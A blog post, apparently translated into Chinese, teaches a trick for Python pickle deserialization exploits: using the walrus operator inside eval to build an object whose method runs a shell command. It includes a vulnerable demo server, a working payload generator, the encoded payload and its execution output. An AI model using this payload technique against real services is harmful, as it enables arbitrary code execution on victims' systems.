利用海象运算符简化Python反序列化漏洞利用

本文介绍了如何利用Python3.8引入的海象运算符简化Pickle反序列化漏洞利用过程,通过表达式级变量赋值动态创建恶意对象,绕过传统漏洞利用中的限制条件。

利用海象运算符简化反序列化攻击载荷

2022年1月7日

在利用Python反序列化漏洞(特别是Pickle)时,通常需要构造包含参数集合和服务器可用可调用对象的载荷。最常见的方法是使用eval函数配合待执行的字符串,这种方案具有较高灵活性——通常可以导入os模块并调用os.system执行任意命令。但某些场景下会存在限制:比如无法直接获取应用输出,或外连被阻断导致无法建立反向shell。更特殊的情况是:反序列化操作需要返回具有特定属性的对象。若目标环境中存在合适的类且攻击者知晓其结构,可能直接构造对应实例;否则操作将变得棘手。

核心问题在于eval仅支持单表达式求值,而类声明属于语句而非表达式。随着Python海象运算符(:=)的引入,现在可以通过表达式进行变量赋值。关键思路是创建元组,使每个元素都能访问前序元素赋值的变量。例如这是个合法的Python表达式,最终求值结果为2:

1
(a:=1, b:=a+a, b)[-1]

我们可以运用相同模式构造任意对象。假设存在如下服务端代码接收并反序列化输入:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/usr/bin/env python3

import base64
import pickle

class Item(object):
    def __init__(self, text):
        self.text = text

    def process(self):
        return self.text.upper().encode()

while True:
    try:
        b64data = input('Pickled object: ')
        data = base64.b64decode(b64data)
        item = pickle.loads(data)
        res = item.process()
        print(f'Result: {res.decode()}')
    except KeyboardInterrupt:
        print('Exiting') 
        break
    except Exception as e:
        print(f'An error occurred while processing data: {e}')

假设反序列化过程不产生stdout输出且禁止外连(使反向shell失效),同时要求反序列化对象必须具有返回可解码字符串的.process()方法。此时可通过以下代码构造攻击载荷:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
#!/usr/bin/env python3

import base64
import pickle

class Payload(object):
    def __reduce__(self):
        return eval, ('(a:=type("A", (object,), {}),b:=a(),b.__setattr__("process", lambda: __import__("subprocess").check_output("id")),b)[-1]',)

payload = Payload()
payload = base64.b64encode(pickle.dumps(payload)).decode()
print(payload)

核心Python表达式如下:

1
2
3
4
5
6
7
8
(
    a:=type("A", (object,), {}),
    b:=a(),
    b.__setattr__("process",
        lambda: __import__("subprocess").check_output("id")
    ),
    b
)[-1]

该表达式依次执行:1) 创建名为A的新类型并赋值给a;2) 实例化该类型对象赋值给b;3) 为b设置process方法(执行id命令);4) 通过元组索引返回构造好的对象。将生成的载荷提交给服务端后,将输出当前用户权限信息:

1
2
Pickled object: gASVlAAAAAAAAACMCGJ1aWx0aW5zlIwEZXZhbJSTlIx4KGE6PXR5cGUoIkEiLCAob2JqZWN0LCksIHt9KSxiOj1hKCksYi5fX3NldGF0dHJfXygicHJvY2VzcyIsIGxhbWJkYTogX19pbXBvcnRfXygic3VicHJvY2VzcyIpLmNoZWNrX291dHB1dCgiaWQiKSksYilbLTFdlIWUUpQu
Result: uid=1000(zetatwo) gid=1000(zetatwo) groups=1000(zetatwo)

希望这个小技巧能帮助您应对Python反序列化漏洞利用场景。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计